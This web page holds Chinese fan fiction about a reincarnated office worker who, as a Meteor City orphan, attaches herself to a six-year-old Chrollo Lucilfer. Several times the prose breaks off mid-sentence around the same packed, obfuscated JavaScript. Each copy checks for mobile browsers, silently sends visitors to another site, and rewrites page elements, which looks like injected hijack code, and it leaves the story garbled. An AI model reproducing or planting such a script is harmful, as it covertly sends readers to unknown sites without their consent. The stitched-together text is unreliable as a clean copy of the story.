《库洛洛重度依赖》 1. 穿越,遇见库洛洛 库洛洛·鲁西鲁,今天六岁。 他蹲在教堂长椅的末端,膝盖上摊着一本从录音室杂物箱里翻出来的旧书,书页泛黄,边角卷曲。晨光透过教堂彩色玻璃窗洒进来,在地面铺开一片斑斓的光影。 他看得很专注,眉头微微蹙着,嘴唇无声地开合。 如果忽视他明显不体面的衣服,几乎可以当做某个贵族学校的贵公子。 “库洛洛——” 声音从门口传来,清脆得像石子丢进水塘。 库洛洛没抬头,但嘴角已经微微翘了起来。 卡洛琳小跑着穿过教堂中央的走道,深棕色的短发乱蓬蓬的,像被风吹过的鸟巢。她穿着一件明显大了两号的旧毛衣,袖子挽了好几道,露出细瘦的手腕。跑到库洛洛面前时,她一个急刹,差点磕到长椅腿上。 “你又来这里了。”卡洛琳虽然喘着气,但是眼睛亮晶晶地看他。 “嗯。”库洛洛笑着翻过了一页书。 卡洛琳也不介意他冷淡的反应,自顾自地挤上长椅,贴着库洛洛坐下,歪着脑袋去看他手里的书。看了两秒,她诚实地说:“看不懂。” 库洛洛终于抬起头看了她一眼。他有一双很大的黑色眼睛,此刻里面盛着一点无奈和更多的习以为常:“看不懂还看。” “因为你在看呀。” 这话说得很自然,库洛洛耳朵尖微微红了一下,又低下头假装继续看书。 过了一会儿,卡洛琳从毛衣口袋里掏出一样东西,小心翼翼捧在掌心里递过来。 “给你。” 是一朵小小的花。 确切地说,是一朵从教堂外墙根底下采来的白色小野花,花瓣上还有露水的痕迹,茎很短,被卡洛琳捏得有点蔫了。 “今天早上开的,昨天还没有呢。”卡洛琳有些腼腆地笑着。 库洛洛放下书,接过那朵花。他用拇指和食指捏着花茎,然后把花瓣上的水珠擦干,小心翼翼地夹进了书页中间。 “放在书里可以压干,”库洛洛认真地说,他对同伴带来的东西一向珍视,“压干了就能一直留着。” 卡洛琳笑得眼睛弯成月牙,两颗门牙缺了一颗,笑起来像个漏风的小口袋。 派克诺妲是在教堂后面的录音室里找到他们的。 说是录音室,其实是教堂附属的一个宽敞房间,墙壁做了简单的隔音处理,角落里还堆着几台老式录音设备和一箱箱的录像带。 派克推开虚掩的门,看到库洛洛正蹲在一台老旧的播放机前,卡洛琳盘腿坐在他旁边的地板上,下巴搁在他肩膀上,安静地盯着屏幕。 录像带里放的不知道是什么内容,画面有些雪花,声音断断续续的。库洛洛看得很专注,偶尔会伸手调整一下播放机的旋钮。 “库洛洛,”派克走进来说,“该去领午饭了,不然要没了。” “等一下,”库洛洛盯着屏幕,头都没回,“这一段还没看完。” 卡洛琳从他肩膀上抬起头,冲派克咧嘴笑,缺了一颗门牙的嘴巴看起来傻乎乎的。 “派克!你也来看,好好看的!” 派克走过去瞄了一眼屏幕,画面上是一群企鹅排着队往海里跳。她嘴角抽了抽,靠墙坐下来。 “你每次都这样,”派克看向卡洛琳,语气说不上是嫌弃还是无奈,“库洛洛走哪你跟哪,真是他的小跟班。” 卡洛琳歪头想了想,非但没有否认,反而很高兴地点了点头,把库洛洛的胳膊抱得更紧了些。 库洛洛耳朵又红了。他面无表情地把胳膊抽出来,往旁边挪了半寸,不自然地说:“别抱,热。” 卡洛琳跟过去半寸,重新把胳膊抱紧。 其实流星街并没有外面的人想象中那么可怕。 至少在孩子们眼里是这样的。 这里有人管理,有大大小小的街区,有教堂,有录音室,甚至还有一间不怎么准时开放的公共食堂。被遗弃在这里的孩子会被统一安排给奶妈抚养,年龄大些的孩子会被分配一些简单的劳动,比如帮忙搬运回收物资,或者打扫公共区域。 至少,表面上看上去还能给这些被遗弃的孩子提供一个不那么窘迫的童年。 卡洛琳其实是一个穿越者,就是那种很俗套的猝死穿越。 就是越来越常见加班加到心脏骤停,倒在了工位上这回事。最后一刻她在想的事情也不是什么我的人生走马灯,而是,明天那个需求文档还没写完。 哦,随时可被替换的螺丝钉,无人在意的牛马。 卡洛琳瞬间就觉得真他妈不值。 然后她就醒了,作为流星街司空见惯的孤儿醒了。 她给自己编了一个名字,卡洛琳,听起来像个洋娃娃的名字,和她上辈子土里土气的中文名完全不一样。 再然后她遇见了库洛洛。 六岁的库洛洛·鲁西鲁,安静地坐在教堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523300|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落里看一本缺了封面的书。头发黑得过分,皮肤也白得过分,整个人像一张还没有被画上任何东西的白纸。 卡洛琳的心脏,那颗曾经猝死过的心脏,猛地跳了一下。 作为猎人的资深读者,她知道这个孩子以后会变成什么样。她知道他会成立幻影旅团,会盗取无数念能力,会屠杀窟卢塔族,会成为一个让整个黑暗世界闻风丧胆的A级罪犯。 但此刻,他只是个安安静静看书的小男孩,连字都认不全,遇到不认识的字会皱起眉头,嘴唇无声地反复念几遍,然后翻过去。 卡洛琳走到他面前蹲下来,认真地看着他。 库洛洛抬起头。 他有一双很大的漆黑双眼,里面有一种纯粹的好奇,像一面干净的镜子。 “我叫卡洛琳,你叫什么名字?”卡洛琳心如擂鼓,明知故问。 库洛洛没有什么戒心地开口:“库洛洛。” 然后库洛洛想了想把手伸出来,手里捏着一包薄薄的饼干,递给她。 “这是教堂发的零食,我们可以一起吃。”库洛洛很自然地开口,分享是很常见的事情,教会的神父分发零食的时候总是会教导他们要和同伴分享。 卡洛琳盯着那半块饼干看了三秒钟,眼眶一热,差点当场哭出来。 她上辈子看了那么多遍《全职猎人》,有想过:旅团的人为什么可以那样毫无保留地信任彼此?为什么可以为了同伴豁出命去?那种东西在她上辈子的世界里根本就不存在。会议室里笑嘻嘻的同事转头就能在背后捅你一刀,相处了三年的男朋友分手时说“你也就那样”,连亲妈打电话都是为了要钱。 她加班猝死的那天晚上,工位旁边的同事甚至没发现她倒下了。 所以当这个六岁的,未来会杀人如麻的小男孩把饼干递给她的时候,卡洛琳做的第一件事不是接过来,而是一把抱住了他。 库洛洛僵住了。 卡洛琳把脸埋在他瘦小的肩膀上,无声地哭了一会儿,然后松开他,擦了把眼泪,笑着说:“谢谢你,库洛洛。” 她知道自己来到了什么地方。流星街,垃圾场,被全世界抛弃的人聚集的地方。这里没有自来水没有暖气没有外卖没有Wi-Fi,她上辈子攒下的所有东西,存款、工位上的马克杯、猫……全都没了。 但是,没关系,失去的比起她得到的简直不值一提。 库洛洛则是困惑地眨了眨眼。 2. 会被弥补的优势 卡洛琳很聪明。 这是流星街所有人公认的事实。 她就能把教堂储藏室里那些落满灰尘的旧书按字母顺序排列好,尽管她根本不认识字母,她只是记住了每本书封面上图案的排列方式。五岁的时候她开始跟着神父念祷告词,一个音节一个音节地学,半年后就能磕磕绊绊地念完整篇,发音准得让神父直画十字。 “这孩子要是生在别的地方,”立佐尔神父摸着她深棕色的短发说,“是能上大学的材料。” 卡洛琳乖巧地仰起脸,露出一个甜甜的笑容,露出并不整齐的牙齿。 废话,我上辈子好歹是本科毕业的,虽然最后猝死在工位上吧…… 其实卡洛琳很清楚,她的聪明很大程度上是作弊。 认识字?上辈子读了二十几年书。算术好?小学奥数不是白学的。遇到问题能冷静分析?一个在社会上摸爬滚打到二十八岁的成年人,要是连这点基本素质都没有,那真是白活了。 真正让她觉得恐怖的是库洛洛。 库洛洛和她同龄,却已经开始自己琢磨识字了。教堂的识字班他只去过两次就开始自己捧着书一个字一个字地啃。 卡洛琳第一次发现这件事的时候,是某天下午在教堂角落里。 她正帮忙整理工厂送来的衣物,叠到一半转头去找库洛洛,他照例坐在那排长椅上,膝盖上摊着一本厚厚的书。书是从杂物箱里翻出来的,讲的是某个卡洛琳都没听说过的古代文明史,里面还有不少生僻术语。 六岁,这孩子才六岁。 卡洛琳沉默了两秒,然后若无其事地继续叠衣服去了。 心里默默给未来的幻影旅团团长再次献上膝盖。 她上辈子六岁的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523301|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候在干嘛?看动画片。哭着不想去上学。最大的成就是把积木搭得比隔壁同学高。 库洛洛六岁的时候已经在自学古文明史了,不愧是幻影旅团团长。 卡洛琳对此只是惊讶了一下,然后就想开了。 毕竟他是库洛洛·鲁西鲁。 未来的幻影旅团团长,特质系念能力者,盗取了无数秘宝和能力的男人。 而她自己呢?卡洛琳一边给教堂的花浇水一边想,她只是在用成年人的经验优势,提前透支了一些聪明的假象罢了。 等这些优势用完了,她就会变成一个普普通通的人。 而库洛洛会一直在前面,越走越远,远到她可能再也追不上。 但那也没关系。 反正她从一开始就没打算追上他。 她只是想留在他能看到的地方,就可以了。 3. 害羞的库洛洛 仔细想想,其实猝死只是一瞬间的事儿,眼睛一闭就过去了,比卡洛琳想象中轻松得多。 卡洛琳上辈子最怕的事情其实是打开朋友圈。 是怎么说呢,就是那种铺天盖地的无处可逃的对比。大学同学A买了房,大学同学B升了总监,隔壁工位的C去了马尔代夫度假,连楼下奶茶店的老板都换了辆新车。 所有人都在往前走,都在变得更好,都在闪闪发光。 而她呢?她也在往前走,也在拼命地跑,跑到最后猝死在工位上,然后呢?哦,然后她死了啊。 像什么都没发生过一样。 这就是上辈子的世界。 有句很有道理的话叫做不患寡而患不均。如果真的大家都穷,她也就认了。但现实是总有人在过着你够不到的生活,而且那些人还偏偏就在你的朋友圈里,在你的同学群里,在你每天上下班路过的那栋高档公寓楼里。 现在好了,真的好了。现在她真的住在垃圾堆里,却觉得活着真好。 在这里,所有人都是一样的。一样被抛弃,一样一无所有,一样要靠自己的双手从垃圾里刨出活路。没有别墅区,没有贫民窟,因为这里本身就是最大的贫民窟。没有富二代,没有世袭的阶级,因为没有人会把遗产留给一个被遗弃孩子。 你是被丢在这里的,我也是。 这种一样的感觉,竟然让卡洛琳感到前所未有的安心。 卡洛琳发自内心地认为,这就是患均的好处。 倒不是说流星街的日子好过。物资匮乏是真的匮之。冬天不够暖,夏天不够凉,洗澡水要排队打,卫生纸是按张分配的。生病了没有医生,全靠硬扛。有些孩子冬天没能扛过去,第二天早上被子一掀,人就硬了。 但这里有一个上辈子那个世界永远给不了她的东西。 没有人因为你的出身,你的收入,你的社会地位而看不起你。 因为大家的出身都一样:被遗弃的。所以卡洛琳觉得很放松。一种神经上精神上灵魂深处的放松。 上辈子她活着像绷着一根弦,每天都要计算,这个月的房贷,下个月的信用卡,领导的脸色,同事的言外之意,父母电话里的期待,朋友圈里别人的生活。 现在这些统统没有了。 “库洛洛,这个好难啊,完全搞不懂嘛——” 卡洛琳趴在长椅上,两条腿翘起来晃来晃去,手里举着一本从录音室翻出来的旧课本,故意把声音拖得又长又软,像一块正在融化的太妃糖。她现在可是小孩子,就算撒娇也没关系嘛。 库洛洛坐在她旁边,被她突如其来的撒娇弄得呆住了。 “……哪里?” “哪里都难!”卡洛琳把书翻到某一页,用手指戳了戳上面的公式,“你看,这些都是什么啊,蝌蚪文一样,我的脑子要炸了。” 库洛洛凑过来看了看,那是一个物理公式。 “……这个不难吧。”库洛洛用带着一丝不确定的语气回复。 “对你来说当然不难啦,”卡洛琳理直气壮地歪过头,双手捧着脸,做出一副崇拜的样子,“库洛洛最聪明了嘛,什么都能看懂,不像我,笨死了笨死了。” 库洛洛的耳朵尖红了。流星街没有多少人会夸他聪明。不是因为他不够聪明,而是因为这里的大人们太忙了,忙着活下去,忙着在垃圾堆里找值钱的东西去换食物,忙着去工厂上班,没有余裕去观察一个小孩是不是比别的孩子更会读书。 只有卡洛琳会夸他。 卡洛琳不仅夸他,还夸得理直气壮,毫不羞涩,变本加厉。 此刻卡洛琳正在在心里疯狂尖叫。 红了红了红了!!他又红耳朵了!!这个未来让整个□□闻风丧胆的男人,现在因为一句你真聪明就红了耳朵!! 太可爱了吧!!这合理吗!! “你并不笨。”库洛洛偏过头,认真地回复,双眼亮晶晶的。 “嗯?”卡洛琳故作疑惑地偏着头,认真地看着库洛洛。 “你不笨,”库洛洛重复了一遍,目光落在书页上,没有看她,但耳朵尖还是红的,“你只是……学得比我慢一点。但不笨。 卡洛琳笑得眼睛弯成了月牙。 “好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523302|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我不笨,我只是学得比库洛洛慢一点。这说明库洛洛就是很聪明嘛,比我见过的任何人都聪明。我好羡慕呀——” 库洛洛的耳朵更红了。 库洛洛把书从她手里抽过去,翻到最前面的一章,清了清嗓子,用一种极其克制的,假装什么都没发生的语气说:“我从头讲。你认真听。” “遵命!库洛洛老师——” “不要加老师。” “好的库洛洛老师。” “……你到底要不要听。” “听听听,我不说了我不说了。” 卡洛琳乖乖闭上嘴,把脑袋凑过去,和库洛洛肩并肩看着同一本书。他的手很小,手指细长,指尖点着字里行间,一个一个地讲给她听。 她的目光从他的指尖移到他的侧脸。 睫毛好长。认真的表情好可爱。明明自己也才六岁,教起人来却有模有样的,像个小大人。 …… “听懂了吗?”库洛洛讲完一页,侧过头来看她。 “嗯,大概懂了百分之四十吧。” 库洛洛皱了皱眉,真的不像个孩子:“百分之四十太低了。我再讲一遍。” “好呀。” 库洛洛翻回开头,深吸一口气,准备重新讲。卡洛琳看着他那副认真到近乎较劲的模样,没忍住,伸出手指戳了一下他的脸颊。 库洛洛僵住了。 “你干嘛?” “没什么啦,”卡洛琳笑眯眯地说,“就是觉得库洛洛一本正经的样子好可爱。” “……我没听懂你在说什么。” “我说库洛洛好可爱。” “不是这句,”库洛洛面无表情地把脸转回书上,声音平板地十分刻意,“我说我没听懂你在说什么的意思是,我不知道你在说什么。不是让你重复一遍。” “噢,”卡洛琳笑得眼睛弯弯的,“那我再说一遍,库洛洛好可爱。” 库洛洛把书举起来,挡住了自己的脸。 但卡洛琳看到,书页的边沿在他手指间微微发抖。 她笑得更大声了。 4. 会成为团长的库洛洛 派克诺妲觉得自己有必要问清楚。 不是因为她在意,好吧,她确实有点在意。但那种在意更像是一种旁观者的困惑,就像看到一个人每天往墙上撞头,你想确认一下她是不是真的不疼。 卡洛琳又跟着库洛洛去教堂了。 又…… 派克看着卡洛琳屁颠屁颠地追上库洛洛的背影,两人一前一后消失在转角处。卡洛琳今天穿了一件明显大好几号的旧衬衫,下摆打了个结防止拖地,跑起来的时候那个结一颠一颠的,像兔子的尾巴。 某天下午,派克在教堂后面的走廊里堵到了卡洛琳。 卡洛琳刚帮神父搬完一箱旧书,袖子卷到手肘,额头上有一层薄薄的汗。看到派克靠在墙上等她,她露出缺了一颗门牙的嘴巴,笑得十分灿烂。 “派克!你来找库洛洛吗?他在里面——”卡洛琳虽说喜欢库洛洛,但是并没有那种独占欲。 “我找你。”派克打断了卡洛琳。 卡洛琳困惑地眨眨眼。 派克比她大两岁,个子也高出一截,站在走廊里把窗外的光线挡住了大半。她不是那种会拐弯抹角的人,流星街的孩子都不会,在外面世界,拐弯抹角是一种社交礼仪,在流星街,那是浪费时间。 “你是不是太黏着库洛洛了?”派克直截了当地问。 卡洛琳又眨了眨眼,似乎在消化这个问题。 派克直接说:“他去哪你就去哪,他干什么你都在旁边,你不觉得——” “这不是应该的吗?”卡洛琳打断了派克,好像派克在问什么很奇怪的问题。 派克皱了皱眉:“哪里应该了?” 卡洛琳歪着脑袋想了想,似乎在斟酌怎么回答。最后她笑了,那个笑容让派克觉得有点奇怪,那不像是一个六岁小女孩应该做出来的表情。太笃定了,太安心了。 “那可是库洛洛啊。”卡洛琳点着头非常肯定地说。 就这一句,好像在解释一切。 派克原本的疑惑非但没有得到解答,反而更困惑了,她知道库洛洛很特别。不是说他高贵或者骄傲,恰恰相反,库洛洛从来不觉得自己比别人高一等。但派克有一种直觉,这个安静看书,话不多,耳朵容易红的小男孩,以后一定会走到很远很远的地方。 但卡洛琳的笃定不太一样,那更像是一种我知道库洛洛会变得很厉害那种笃定。 好像她已经看见过了。 派克看着卡洛琳,卡洛琳笑眯眯地看着她,那双浅色的眼睛里干干净净的,什么算计都没有,只有一种坦坦荡荡的毫不掩饰的喜欢。 “派克,压抑自己的感情不是一件好事哦。” 卡洛琳想到派克的结局觉得有点惆怅,但是一时之间又不知道说点什么,干脆不说什么,只是蹦蹦跳跳地跑进了教堂里面,留下派克一个人站在走廊上,被这句莫名其妙的话堵得无话可说。 卡洛琳跑进教堂的时候,库洛洛已经坐在老位置上了。 夕阳透过彩色玻璃窗照进来,在他黑色的头发上镀了一层暖色的光。他手里拿着一本书,膝盖上还摊着另一本,旁边的长椅上整整齐齐地摞着几本他挑出来的,大概是准备借回去看的。 听到脚步声,库洛洛头也没抬,随口一问:“派克找你做什么?” “问我为什么这么黏你。”卡洛琳一屁股坐到他旁边,理直气壮地开口,然后盯着库洛洛的侧脸。 库洛洛翻书的手僵硬了一下。 “……你怎么说的?” “我说这是应该的呀。” 库洛洛沉默了一瞬,耳朵尖又开始红了。他没接话,翻了一页书,翻得比平时用力了一点,纸张发出清脆的响声。 卡洛琳歪着头看他,心里那点阴暗的小心思像小猫的爪子一样,悄悄地轻轻地挠了一下。 她没有告诉派克全部,而且说出去也不会有人信的。 那是库洛洛啊。 以后会成为幻影旅团团长的库洛洛,会让整个黑暗世界闻风丧胆的库洛洛。会拥有足够强大的力量,足够聪明的头脑,足够稳固的势力的库洛洛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523303|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这意味着什么?意味着在他的庇护之下,自己会安全。 上辈子她活了二十八年,每天都在焦虑。害怕失业,害怕生病,害怕房东突然说不租了,害怕父母生病要用钱,害怕自己拼尽全力最后还是被淘汰。那种恐惧像一根细细的绳子,勒在喉咙上,不紧不松,但每呼吸一口都觉得费力。 卡洛琳从来不觉得自己是什么特别的角色。不是女主角,不是救世主,不是任何漫画里那种改变命运的人。她知道自己没有那个能力,也没有那个兴趣。 改变命运太累了,她上辈子已经累死过一次了。 她想要的很简单。 待在库洛洛身边。让他习惯自己的存在。等他变得足够强大之后,安心地喜欢他。 对,安心地。 因为库洛洛本质上非常重情重义,他嘴上不说,但你看他把压干的花夹进书页里的那个认真劲儿就知道了。 那个会把教堂的野花认真插进铁罐里,调整好几次角度才满意的库洛洛,不会对身边的人坐视不管。 “库洛洛。” “嗯。” “你以后会变得很厉害的吧?” “为什么突然问这个。” “就是想知道嘛。” 库洛洛沉默了几秒,像是在认真思考这个问题,而不是随口敷衍,最后他说:“大概吧。”库洛洛知道神父很看中欣赏自己,但他也绝不会想到自己会成为幻影旅团团长。 库洛洛作为一个聪明的六岁小孩对未来最诚实的预测,不确定,但有可能。 卡洛琳笑得更开心了。 “那你变厉害了之后,还会教我读书吗?” 库洛洛转过头来看她,那双深色的眼睛里映着彩色玻璃窗投下来的光,像碎了一地的宝石。他看着卡洛琳,看了一瞬,然后转回头去,把书翻到下一页。 “……会。” 卡洛琳把下巴搁在他肩膀上,笑眯眯地闭上了眼睛。 身后的彩色玻璃窗外,流星街的天空正在一点一点暗下去。 5. 坚强的玛奇 玛奇来找卡洛琳的时候,卡洛琳正在教堂后面的储藏室里清点新到的物资。 里面的东西乱七八糟混在一起,有衣服、有罐头、有几本泡过水又晾干的书,甚至还有半袋没开封的面粉。卡洛琳蹲在地上,一样一样地分类,衣服按大小叠好,食物按保质期排列,能用的和不能用的分开。 玛奇出现在门口的时候,卡洛琳没抬头就知道是谁。因为玛奇走路没有声音,她天生就脚步轻,像猫一样。 如果在揍敌客那种暗杀家族中训练长大的孩子应该可以轻易分辨出来,但卡洛琳已经确定过了,自己的身体素质极其普通,就是能跑能跳的那种普通程度,也没有什么系统金手指之类的。 “神父说你在清点物资,我来帮忙。”玛奇的声音不大,但很清楚。 “那帮我分罐头吧,”卡洛琳指了指旁边的纸箱,“保质期最新的放上面,过期的挑出来单独放。” 玛奇“嗯”了一声,蹲下来开始干活。她的手很稳,动作利落,拿起一个罐头先看底部,然后准确无误地放到该放的位置。卡洛琳余光扫了一眼,发现玛奇分罐头的速度比她快,而且没有任何多余的动作。 真厉害啊,卡洛琳在心里想。 玛奇这种孩子,不管放在什么环境里都能活得很好。她会主动寻找强者,会想办法提升自己,会用自己的方式在这个残酷的地方站稳脚跟。她不依赖任何人,也不需要任何人给她安全感。她自己就是自己的安全感。 不像自己。 卡洛琳低头叠衣服,嘴角微微弯了一下,那笑容里有一点自嘲。 她接近库洛洛,从一开始就不是纯粹的。 她知道自己为什么选择黏着库洛洛。不是因为他可爱,不是因为他聪明,不是因为他耳朵容易红……虽然这些也都是真的。 最根本的原因是,她知道库洛洛以后会变得很强。 她需要一个安全的锚点。一个能让她停止焦虑,停止恐惧,停止那种如果不拼命就会掉下去的窒息感的存在。 而库洛洛就是那个锚点。 她喜欢库洛洛,这是真的。但喜欢的起点里夹杂着算计,这也是真的。她说不清楚是从哪一刻开始,单纯的这个锚点很安全变成了我想待在他身边,也说不清楚这两者之间的界限在哪里。也许根本不存在界限。也许成年人的喜欢从来就不是纯粹的东西,总是夹杂着安全感、稳定性和对未来的预判。 与其说是爱,不如说是投资。 一个穿越者对一个未来强者精准的功利、毫不知羞耻的投资。 卡洛琳在心里把这点阴暗心思翻来覆去地咀嚼了一遍,然后坦然地咽了下去。反正她又不是要伤害谁,她只是想要一点安全感。这有什么错呢。 “对了,”卡洛琳像是突然想起来似的,拿出一个布包,“这些零食你帮我带给窝金呗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523304|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玛奇接过布包,打开看了一眼。是几块饼干和一小包糖果,都是教堂发的那种,谈不上多好吃,但在流星街算是稀罕东西。 “他讨厌神父的说教,所以都不会主动来拿,”卡洛琳耸了耸肩,“你跟他比较熟,你给他他肯定收。” 玛奇看了卡洛琳一眼,没有多问,把布包收好。“行。” 卡洛琳弯着眼睛笑了:“谢啦。” 卡洛琳也没有特殊的理由做这件事。不是想讨好窝金,不是想拉拢谁,她就是觉得这种大家互相帮衬的氛围,挺难得的。 清点完物资,卡洛琳和玛奇一起把东西搬到食堂的储藏间。路上遇到了几个大孩子在打架,玛奇看了一眼就绕过去了,连脚步都没慢下来。卡洛琳跟在她后面,心想这孩子胆子真大,一点都不会害怕。 不像自己。 她上辈子是一个人住的,回家第一件事就是反锁门,快递收件人写的是男性名字,阳台上永远挂着一件男式衬衫。她害怕很多东西,害怕坏人,害怕没钱,害怕生病,害怕孤独终老。那种恐惧渗透在她生活的每一个角落,像空气一样无所不在。 这辈子她不怎么怕了。不是因为变勇敢了,是因为她知道结果。 她知道库洛洛会变强。知道未来的旅团会成为一个谁都不敢轻易招惹的存在。知道只要她在这个圈子里,就没有人敢动她。这种知道,像一张安全网,接住了她所有的恐惧。 6. 侠客的出现 侠客出现的那天,卡洛琳就知道事情不太妙。 倒不是说什么坏事。侠客这个这个小孩,此刻正抱着一台从垃圾场翻出来的破旧通讯器蹲在教堂门口的台阶上,金发乱蓬蓬的,脸上还有一道不知怎么弄出来的灰痕,但眼睛亮得惊人。库洛洛蹲在他旁边,两个人脑袋凑在一起,对着那台通讯器的内部结构指指点点,偶尔交换几句卡洛琳听不太懂的话。 不是听不懂语言,是听不懂内容。 什么主板,什么信号接收,什么这里应该是被烧坏了换个电容就行,卡洛琳上辈子连手机屏幕碎了都是去店里修的,她对电子产品的了解仅限于怎么开机和怎么重启。而这两个小孩正在熟练地拆解一台报废设备,讨论其内部构造,并且试图把它修好。 卡洛琳站在几步之外,假装在好奇,实际上在暗中观察。 库洛洛那种微微发亮的眼神,那种不自觉加快的语速,那种遇到同类时才会有的毫不掩饰的兴奋。 你厉害,我也厉害。你说的话我听得懂,我说的话你也听得懂。我们之间不需要解释,不需要等待,不需要把复杂的概念拆解成最简单的单元然后一遍一遍地重复。 卡洛琳还挺熟悉这种氛围的。 上辈子她见过挺多次的。大学里,那些拿国奖的大神们总是聚在一起讨论课题,她连他们的对话都跟不上。公司里,几个顶尖的工程师开会,她坐在角落里负责记录会议纪要,全程只听懂了“好的”“好的”和“好的”。聪明人总是会和聪明人走在一起,这是自然而然不可抗拒的。 卡洛琳不嫉妒。因为她早就认清了现实,嫉妒也没用,自己就是个普通人,放在正常社会里,属于还行的那种,不算笨,但也绝对算不上天才。而库洛洛和侠客这种,是天才中的天才。他们的大脑构造和自己不一样,就像猎豹和蜗牛,你不能怪蜗牛跑得慢,因为那根本不是同一条赛道。 但是现在,她看着库洛洛和侠客凑在一起有说有笑,卡洛琳心里还是泛起了一点酸溜溜的东西。 就……某种类似于某种次等公民的自觉。 就像站在玻璃窗外看里面的人。里面灯火通明,欢声笑语,你也能进去,门是开着的,但你进去了也听不懂他们在笑什么。 “卡洛琳!” 侠客的声音把她从胡思乱想里拽了出来。金发小男孩举着那台通讯器冲她挥舞,脸上带着兴奋的红晕,牙齿白得发光。 “你看!我们修好了!真的能收到信号了!” 通讯器里果然传出了沙沙的电流声,夹杂着几句模糊的广播语音。卡洛琳凑过去看了看,真心实意地露出一个惊讶的表情:“真的假的?你们俩也太厉害了吧。” 侠客笑得更大声了,而库洛洛站在旁边,嘴角微微翘着。 卡洛琳看着库洛洛那个小小的克制的但又藏不住得意的笑容,在心里叹了口气。 她想,如果库洛洛不是出生在流星街,而是出生在一个都不用说是大富大贵,就算是贫困户的家庭……他会是什么样子? 大概从小因为一直拿最高的分数从而得以上最好的学校,参加最顶级的竞赛,被最顶尖的大学提前录取。他会是那种传说中的别人家的孩子。他的朋友圈里全是和他一样的精英,他们谈论的东西你听都听不懂,更别说插嘴。他会进入常人无法触及的领域,做常人无法想象的事情,然后在一个你连名字都没听过的行业里成为传奇。 而你,你这辈子都不会有机会和他说话。因为你们根本不在同一个世界里。 但是现在,库洛洛在你面前,就在你伸手就能够到的地方。 卡洛琳走过去,坐在库洛洛旁边,把下巴搁在他肩膀上,用那种黏黏糊糊的语气说:“库洛洛,你都忽视我好久了。” 库洛洛僵了一下。 “从刚才到现在,你一直在跟侠客说话,看都没看我一眼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523305|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡洛琳的声音里带着一种恰到好处的委屈,不多不少,刚好够让人觉得她在撒娇而不是真的生气。 库洛洛偏过头看了她一眼。卡洛琳的下巴还搁在他肩膀上,两个人离得很近,近到库洛洛能看到她眼睛里倒映的自己。 “没有,没有,我只是太专注了,绝对没有忽视你的意思。”库洛洛有些慌乱地开始解释,尽管他知道卡洛琳不是真的生气。 卡洛琳眨了眨眼,在心里想:真可爱呢,库洛洛。 